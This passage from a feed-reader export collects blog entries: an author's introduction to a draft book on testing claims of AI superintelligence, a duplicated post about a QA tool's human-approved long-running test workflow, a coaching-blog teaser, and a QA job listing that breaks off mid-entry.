of that earlier work, not an endorsement or collaboration.&lt;/p&gt;&lt;p&gt;This is a developing technical book. Every chapter is a working draft. Executed examples are distinguished from proposed experiments. As the work grows, claims should acquire better evidence, examples should become reproducible, and weak arguments should change. A book about testing ought to make it possible to test what it says.&lt;/p&gt;</summary><author><name>jason arbon</name></author><source gr:stream-id="feed/https://medium.com/feed/@jarbon"><id>tag:google.com,2005:reader/feed/https://medium.com/feed/@jarbon</id><title type="html">Stories by jason arbon on Medium</title><link rel="alternate" href="https://medium.com/@jarbon?source=rss-1ee8fdc3bacb------2" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1793999532000"><id gr:original-id="https://medium.com/p/1848d6e5d83e">tag:google.com,2005:reader/item/000009ff0000004e</id><title type="html">Testing Superintelligence: We Need More Than a Warning</title><published>2026-11-06T21:12:12Z</published><updated>2026-11-06T21:12:12Z</updated><link rel="alternate" href="https://jarbon.medium.com/testing-superintelligence-we-need-more-than-a-warning-1848d6e5d83e?source=rss-1ee8fdc3bacb------2" type="text/html"></link><summary type="html">&lt;figure&gt;&lt;img class=&quot;bqrUnknownImgSize&quot; alt src=&quot;https://cdn-images-1.medium.com/max/1024/0*SpuqXA-w0ozIR8Er.png&quot;&gt;&lt;/figure&gt;&lt;p&gt;My fourteen-year-old son and I tried asking ChatGPT questions that might tell us whether it was smarter than we were. Some of the answers sounded like pageant answers: polished, reassuring, and difficult to learn much from. Then I asked him, “What if it was lying to us? How could we detect that?”&lt;/p&gt;&lt;p&gt;His eyes got big. The same answer could come from a system trying to mislead us or from one doing what it had learned to do: give a reassuring answer. What could we test that would help us tell the difference?&lt;/p&gt;&lt;p&gt;This book is about testing for superintelligence. When an AI system appears to do something beyond human capability, how do we check the claim, and how would we notice if those results started to accumulate across fields? Progress may hit limits, and capable systems may remain under effective control. In either case, we need ways to find out what they can do while we still have time to act on what we learn.&lt;/p&gt;&lt;p&gt;I mean superintelligence in a strict sense. Imagine the best human teams with more time to learn, invent tools, and work together. Could they acquire the underlying competence? Faster work, more parallel attempts, and even victory over every expert we can recruit leave that question open. The hard case is a system that repeatedly develops and uses competencies beyond what finite human effort could attain under stated conditions. That possibility is the subject of the book. The failures of current systems matter here when they show how we might miss or misread evidence of such a change.&lt;/p&gt;&lt;h3&gt;A note after the 2026 U.S. midterms&lt;/h3&gt;&lt;p&gt;November 5, 2026. On November 4, following the U.S. midterm elections, Representative Yassamin Ansari called for a pause on advanced AI development and “a ban on artificial superintelligence,” as reported by Tom’s Hardware. The idea was already before Congress. On September 23, Representative Greg Casar and Senator Bernie Sanders introduced the Ban Artificial Superintelligence Act. “Our bill bans the development of artificial superintelligence,” Casar said. The proposal would also prohibit deployment and create an agency to monitor frontier systems. [&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/references.html#source-121&quot;&gt;121&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/references.html#source-122&quot;&gt;122&lt;/a&gt;]&lt;/p&gt;&lt;p&gt;How do you enforce a ban on something you cannot reliably detect? A rule can target observable conduct, such as running a covered training job without authorization. Records can help establish whether that conduct occurred. A rule keyed to a system’s capabilities poses another question. What did the system actually become capable of, and when? Evidence of a deliberate attempt, evidence that a threshold was crossed, and evidence that a particular person or organization violated a rule answer different questions.&lt;/p&gt;&lt;p&gt;A team could cross a capability threshold while pursuing a narrower objective. A system might also cross it before anyone has a test sensitive enough to notice. Whether either event has happened remains open. That uncertainty matters today. If lawmakers draw a boundary, investigators need to know what they can observe, what they can verify independently, and where their tests leave them blind. The proposed bill’s definition and this book’s stricter human reachability boundary serve different purposes. Any test has to say which claim it is trying to establish.&lt;/p&gt;&lt;h3&gt;Why a software tester is asking&lt;/h3&gt;&lt;p&gt;I have spent years working on testing at scale, testing AI, and using AI to test software. I was a test manager on AI-based search systems at Microsoft, in the work that became Bing, and on Chrome at Google. These problems were part of my working life long before the current enthusiasm for large language models.&lt;/p&gt;&lt;p&gt;In my recollection of the search competition, Google seemed to have all the smart engineers. Neural networks felt like a practical way for us to compete: let a learned system find improvements we could not keep handcrafting. What felt like a hack became more capable over time. For those of us testing it, that meant learning how to examine a system whose behavior was not simply a list of rules we had written.&lt;/p&gt;&lt;p&gt;That responsibility extended beyond examining model outputs. My team was also accountable for the infrastructure used to train models, evaluate them, and run evaluations again. We examined statistics about the training data and how effectively people were using that infrastructure. We did basic analysis of training configurations and model hyperparameters to understand whether the choices people were making were helping. Testing meant looking at the machinery and the work practices that produced the result, not only the result at the end.&lt;/p&gt;&lt;p&gt;We also worked on data quality, including the human judgments used for training. In one case I remember, a vendor responded to disagreement between raters by firing one of them. That practice was distorting our training data. I return to it in the testing-foundations chapter because it captures a larger problem: apparent agreement can improve while the process producing it becomes less trustworthy.&lt;/p&gt;&lt;p&gt;I later cofounded &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;http://test.ai&quot;&gt;test.ai&lt;/a&gt;, before the current LLM wave, to apply AI to software testing. Google’s AI-focused venture fund, Gradient Ventures, led its 2018 Series A. [&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/references.html#source-26&quot;&gt;26&lt;/a&gt;] Testing AI and building AI that tests have been connected problems throughout my work.&lt;/p&gt;&lt;p&gt;So yes, I sometimes find myself arguing with a podcast or a conference presentation. I hear a familiar testing failure presented as a new mystery: trusting an answer key nobody checked, confusing a score with coverage, or accepting a demonstration as evidence of reliability. Software testers have spent years encountering these patterns, learning which techniques help, and finding out where they fail.&lt;/p&gt;&lt;p&gt;We have also spent years thinking about oracles: how to judge a result when the correct answer is difficult to specify. A research benchmark and a production testing program face different demands. Production adds changing environments, messy inputs, integrations, users, and failures that escape the test environment. I want more of that experience in this conversation.&lt;/p&gt;&lt;p&gt;This is not a claim that frontier researchers never test or that existing testing practice solves superintelligence. It is a request to bring the accumulated experience of software testing into the work, then discover precisely where it stops being enough. I do not hear enough public discussion of this less glamorous work: testing the training infrastructure, examining data quality, and investigating the incentives behind the labels. That does not establish how much of it happens inside labs. It does mean I want to see the evidence, rather than assume someone has covered it.&lt;/p&gt;&lt;p&gt;At a testing conference, I brought up the problem between sessions. We agreed it sounded hard. A few minutes later we were back to talking about prompts for testing websites. I left wanting a concrete experiment that testers and researchers could pick apart together.&lt;/p&gt;&lt;h3&gt;A warning needs a test&lt;/h3&gt;&lt;p&gt;I do not want our testing strategy to depend on everybody agreeing to stop. That is a planning position, not a prediction that policy cannot change anything. Pauses, restrictions, and technical controls may matter. We still need methods that work while capable systems exist and people continue trying to use them.&lt;/p&gt;&lt;p&gt;A sandbox is not an answer to all those questions. It is something else to test. An air gap removes important connections, but it does not establish that every physical or human communication channel is absent. A model that helps build its own protections has not independently certified them. And a promise that a system will behave safely is an output to examine, not a reason to stop examining.&lt;/p&gt;&lt;p&gt;We should take those concerns seriously without pretending we have proved every boundary will fail. The practical question is what a control prevents, under which assumptions, and what evidence would reveal its failure. This book will return to that question often.&lt;/p&gt;&lt;h3&gt;The test is allowed to be wrong&lt;/h3&gt;&lt;p&gt;We build an exam, give it to a model, and debate the percentage. Meanwhile the questions may be ambiguous, the reference answers may be wrong, the scoring software may have bugs, and the environment may be helping the model in ways we did not intend. Documented benchmark reviews show why these are real testing questions. [&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/references.html#source-3&quot;&gt;3&lt;/a&gt;, &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/references.html#source-4&quot;&gt;4&lt;/a&gt;]&lt;/p&gt;&lt;p&gt;Some evaluations go far beyond multiple-choice questions. That is progress. But complexity does not make an evaluation trustworthy. We must investigate how it works and how far its conclusions reach.&lt;/p&gt;&lt;p&gt;Now add a more difficult possibility: the system gives us an answer we could not have created. Sometimes we can still check it. Sometimes checking it is itself a research project. Sometimes we may not even recognize the question we should have asked.&lt;/p&gt;&lt;p&gt;Suppose an AI produces a mathematical proof that an expert team could not find. That is a Super Signal, an observation worth investigating. A Super Test starts by recording the claim and comparing the time, tools, and prior work available to the model and to the experts. Could the model have seen the proof before? Ask an independent team to check the proof and then test the system on a fresh problem. Repeat under comparable conditions to see whether the advantage persists. A valid proof settles whether the result follows. The rest of the investigation tells us how much we learned about the system that produced it.&lt;/p&gt;&lt;h3&gt;Begin with today&lt;/h3&gt;&lt;p&gt;After the opening allegory, &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/#chapter-1&quot;&gt;Chapter 1&lt;/a&gt; walks through a fictional Super Test. The first hypothesis gets weaker as we improve the baseline, and fresh problems reveal a narrower capability. &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/#chapter-2&quot;&gt;Chapter 2&lt;/a&gt; takes the same habits to a public benchmark record. Later chapters extend the investigation to learning beyond human examples and to systems that act in laboratories, robots and simulated worlds.&lt;/p&gt;&lt;p&gt;A fictional research assistant connects the chapters. It passes an exam, produces an unfamiliar result, asks for tools, acts, and eventually challenges our ability to judge and observe it. This is a teaching scenario, not a claim that one current product already combines every capability described here.&lt;/p&gt;&lt;p&gt;If we wait until a system is unmistakably beyond us to invent the tests and instruments, the time we need to prepare may already be gone. We should start while we can still discover our mistakes in smaller, more recoverable settings.&lt;/p&gt;&lt;h3&gt;Two sides of the nest&lt;/h3&gt;&lt;p&gt;The owl and sparrows return throughout the book in short illustrated boxes. “From the sparrows’ side” asks what observers with limited access can see, check, or change. “From the owl’s side” offers a possible explanation for the same scene and suggests what evidence could distinguish it from another.&lt;/p&gt;&lt;p&gt;If a broken latch works again by morning, the sparrows know it was restored. The owl may have noticed the break or replaced the latch on schedule. A comparison with an untouched latch helps the flock tell those accounts apart. Sometimes the owl helps, sometimes it misunderstands, and sometimes it changes its behavior under inspection.&lt;/p&gt;&lt;h3&gt;Why the owl&lt;/h3&gt;&lt;p&gt;The owl is a deliberate homage to Nick Bostrom’s Superintelligence: Paths, Dangers, Strategies. His book explores routes to superintelligence, takeoff dynamics, and the control problem. It also discusses monitoring, boxing, and tripwires; it would be unfair to say it ignores detection and control. [&lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://www.testerssi.com/references.html#source-24&quot;&gt;24&lt;/a&gt;]&lt;/p&gt;&lt;p&gt;The dedicated deception and safety sections also examine researchers who are already working on these problems.&lt;/p&gt;&lt;p&gt;The question I want to bring into the foreground is the working tester’s question: how do we recognize a consequential capability, challenge the claim, and know whether our observation and control mechanisms are working? The homage is an acknowledgment of that earlier work, not an endorsement or collaboration.&lt;/p&gt;&lt;p&gt;This is a developing technical book. Every chapter is a working draft. Executed examples are distinguished from proposed experiments. As the work grows, claims should acquire better evidence, examples should become reproducible, and weak arguments should change. A book about testing ought to make it possible to test what it says.&lt;/p&gt;</summary><author><name>jason arbon</name></author><source gr:stream-id="feed/https://jarbon.medium.com/feed"><id>tag:google.com,2005:reader/feed/https://jarbon.medium.com/feed</id><title type="html">Stories by jason arbon on Medium</title><link rel="alternate" href="https://medium.com/@jarbon?source=rss-1ee8fdc3bacb------2" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1793988062000"><id gr:original-id="https://medium.com/p/76aa7c7542f9">tag:google.com,2005:reader/item/000003470000008d</id><title type="html">CARBON /full: Go beyond the first test pass</title><published>2026-11-06T18:01:02Z</published><updated>2026-11-06T18:01:02Z</updated><link rel="alternate" href="https://jarbon.medium.com/carbon-full-go-beyond-the-first-test-pass-76aa7c7542f9?source=rss-1ee8fdc3bacb------2" type="text/html"></link><summary type="html">&lt;p&gt;A first look can reveal a problem. A broader investigation can reveal what you still do not understand. CARBON’s /full command is designed for that sustained, resumable testing workflow.&lt;/p&gt;&lt;p&gt;Before testing begins, it requires two distinct human confirmations: scope and budget. That boundary matters. A long-running campaign can consume meaningful time and coding-agent resources, and the invocation alone is not approval to proceed.&lt;/p&gt;&lt;p&gt;The video outlines the cycle: discover paths, generate candidates, execute checks, reproduce findings, triage the evidence, and decide what to investigate next. Checkpoints make progress visible and support stopping and resuming. Resume requires fresh approvals.&lt;/p&gt;&lt;p&gt;“Full” does not mean exhaustive. Keep the tested scope and coverage gaps in view, and choose a budget appropriate to the project. The workflow stays within the installed edition’s capabilities and host permissions.&lt;/p&gt;&lt;p&gt;CARBON Core is free and open source in the OpenAI and Claude plugin marketplaces. The comprehensive workflow is included in the free offering; advanced Pro capabilities remain separate.&lt;/p&gt;&lt;p&gt;See the explainer and installation options at &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://testers.ai/carbon/&quot;&gt;https://testers.ai/carbon/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Need instant-on AI QA bandwidth? Iceberg QA brings QA experts, advanced AI tooling, and test harnesses together to tackle your quality problems. Tell us what you need and sign up at &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://icebergqa.com/&quot;&gt;https://icebergqa.com/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Watch the video when it releases on November 6 at 10 a.m. Pacific: &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://youtu.be/n6vL4nQjp48&quot;&gt;https://youtu.be/n6vL4nQjp48&lt;/a&gt;&lt;/p&gt;</summary><author><name>jason arbon</name></author><source gr:stream-id="feed/https://medium.com/feed/@jarbon"><id>tag:google.com,2005:reader/feed/https://medium.com/feed/@jarbon</id><title type="html">Stories by jason arbon on Medium</title><link rel="alternate" href="https://medium.com/@jarbon?source=rss-1ee8fdc3bacb------2" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1793988062000"><id gr:original-id="https://medium.com/p/76aa7c7542f9">tag:google.com,2005:reader/item/000009ff0000004d</id><title type="html">CARBON /full: Go beyond the first test pass</title><published>2026-11-06T18:01:02Z</published><updated>2026-11-06T18:01:02Z</updated><link rel="alternate" href="https://jarbon.medium.com/carbon-full-go-beyond-the-first-test-pass-76aa7c7542f9?source=rss-1ee8fdc3bacb------2" type="text/html"></link><summary type="html">&lt;p&gt;A first look can reveal a problem. A broader investigation can reveal what you still do not understand. CARBON’s /full command is designed for that sustained, resumable testing workflow.&lt;/p&gt;&lt;p&gt;Before testing begins, it requires two distinct human confirmations: scope and budget. That boundary matters. A long-running campaign can consume meaningful time and coding-agent resources, and the invocation alone is not approval to proceed.&lt;/p&gt;&lt;p&gt;The video outlines the cycle: discover paths, generate candidates, execute checks, reproduce findings, triage the evidence, and decide what to investigate next. Checkpoints make progress visible and support stopping and resuming. Resume requires fresh approvals.&lt;/p&gt;&lt;p&gt;“Full” does not mean exhaustive. Keep the tested scope and coverage gaps in view, and choose a budget appropriate to the project. The workflow stays within the installed edition’s capabilities and host permissions.&lt;/p&gt;&lt;p&gt;CARBON Core is free and open source in the OpenAI and Claude plugin marketplaces. The comprehensive workflow is included in the free offering; advanced Pro capabilities remain separate.&lt;/p&gt;&lt;p&gt;See the explainer and installation options at &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://testers.ai/carbon/&quot;&gt;https://testers.ai/carbon/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Need instant-on AI QA bandwidth? Iceberg QA brings QA experts, advanced AI tooling, and test harnesses together to tackle your quality problems. Tell us what you need and sign up at &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://icebergqa.com/&quot;&gt;https://icebergqa.com/&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Watch the video when it releases on November 6 at 10 a.m. Pacific: &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://youtu.be/n6vL4nQjp48&quot;&gt;https://youtu.be/n6vL4nQjp48&lt;/a&gt;&lt;/p&gt;</summary><author><name>jason arbon</name></author><source gr:stream-id="feed/https://jarbon.medium.com/feed"><id>tag:google.com,2005:reader/feed/https://jarbon.medium.com/feed</id><title type="html">Stories by jason arbon on Medium</title><link rel="alternate" href="https://medium.com/@jarbon?source=rss-1ee8fdc3bacb------2" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1793944800000"><id gr:original-id="https://kato-coaching.com/?p=26124">tag:google.com,2005:reader/item/00000d0a0000002c</id><category term="AI"></category><category term="Critical Thinking"></category><title type="html">A new beginning</title><published>2026-11-06T06:00:00Z</published><updated>2026-11-06T06:00:00Z</updated><link rel="alternate" href="https://kato-coaching.com/a-new-beginning/" type="text/html"></link><summary type="html">When AI tooling became easily and cheaply available to the general public I jumped on it. For me, it all started with Midjourney. For years I kept a paid account, and I loved playing with the image generator. I even tried to sell some of my designs as drop-shipped t-shirts, but that failed miserably. Turned […]</summary><author><name>Katja Obring</name></author><source gr:stream-id="feed/https://kato-coaching.com/feed"><id>tag:google.com,2005:reader/feed/https://kato-coaching.com/feed</id><title type="html">Kato Coaching</title><link rel="alternate" href="https://kato-coaching.com" type="text/html"></link></source></entry><entry gr:crawl-timestamp-msec="1793944583000"><id gr:original-id="tag:blogger.com,1999:blog-4468368081571379042.post-2082875544612951931">tag:google.com,2005:reader/item/000006320000006e</id><category term="QA Jobs"></category><category term="SDET Jobs"></category><category term="Software Testing Jobs"></category><category term="Testing Jobs"></category><title type="html">Software Testing &amp;amp; QA Jobs – November 06, 2026 | Daily Job Openings</title><published>2026-11-06T05:56:23Z</published><updated>2026-11-06T05:56:23Z</updated><link rel="alternate" href="https://qa-qcarena.blogspot.com/2026/11/software-testing-qa-jobs-november-06.html" type="text/html"></link><summary type="html">&lt;p style=&quot;text-align: center&quot;&gt; &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdMBBulXteUiHSZEOxSAUlpnrYDH5Ty2wKf79ewwM9Omwd4tAMp7h5puMYUMQ9e2V4Z_Ku28LdIbbih9ho-Eryf0dbTYGWFw9bBTiak_kJfYPbs1-vDz5Bd_ABNj47IiCKi1NMphU2FEWDBIi17z1Ag_kUVGdrbS853Ta-W1yw-KSmn73k01k06pCuUmI/s2752/Software%20Testing%20&amp;amp;%20QA%20Jobs.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em&quot;&gt;&lt;img width=&quot;400&quot; height=&quot;224&quot; style=&quot;border: 0px solid black&quot; data-original-height=&quot;1536&quot; data-original-width=&quot;2752&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjdMBBulXteUiHSZEOxSAUlpnrYDH5Ty2wKf79ewwM9Omwd4tAMp7h5puMYUMQ9e2V4Z_Ku28LdIbbih9ho-Eryf0dbTYGWFw9bBTiak_kJfYPbs1-vDz5Bd_ABNj47IiCKi1NMphU2FEWDBIi17z1Ag_kUVGdrbS853Ta-W1yw-KSmn73k01k06pCuUmI/w400-h224/Software%20Testing%20&amp;amp;%20QA%20Jobs.png&quot;&gt; &lt;/a&gt;&lt;/p&gt;&lt;h2 style=&quot;text-align: left&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Software Testing &amp;amp; QA Jobs –
November 06, 2026&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Position&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Senior QA Technical Lead&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Company&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - PTC&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Experience&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - 6-10 years&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Location&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Pune, Maharashtra&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Job Description&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://ptc.wd1.myworkdayjobs.com/ptc/job/Pune-India/Senior-QA-Technical-Lead_JR112883&quot;&gt;Click here&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Position&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - SDET Analyst&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Company&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Global Payments&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Experience&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - 2-4 years&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Location&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Pune, Maharashtra&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Job Description&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://tsys.wd1.myworkdayjobs.com/en-US/TSYS/job/SDET-Analyst_R0074645-1&quot;&gt;Click here&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Position&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - QA Automation Engineer&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Company&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - NTT DATA&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Experience&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - 7 years&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Location&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Bengaluru, Karnataka&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Job Description&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - &lt;a target=&quot;_blank&quot; rel=&quot;noopener&quot; href=&quot;https://careers-inc.nttdata.com/job/Bangalore-QA-Automation-Engineer-KA/1447598200/&quot;&gt;Click here&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;br&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Position&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Test Automation Specialist
(Playwright &amp;amp; AI-Assisted Development)&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Company&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - Techila Global Services&lt;/span&gt;&lt;/p&gt;

&lt;p style=&quot;margin-bottom: 0cm&quot;&gt;&lt;b style=&quot;mso-bidi-font-weight: normal&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal&quot;&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt;Experience&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span style=&quot;font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif&quot;&gt; - 5–7 years&lt;/span&gt;&lt;/p&gt;

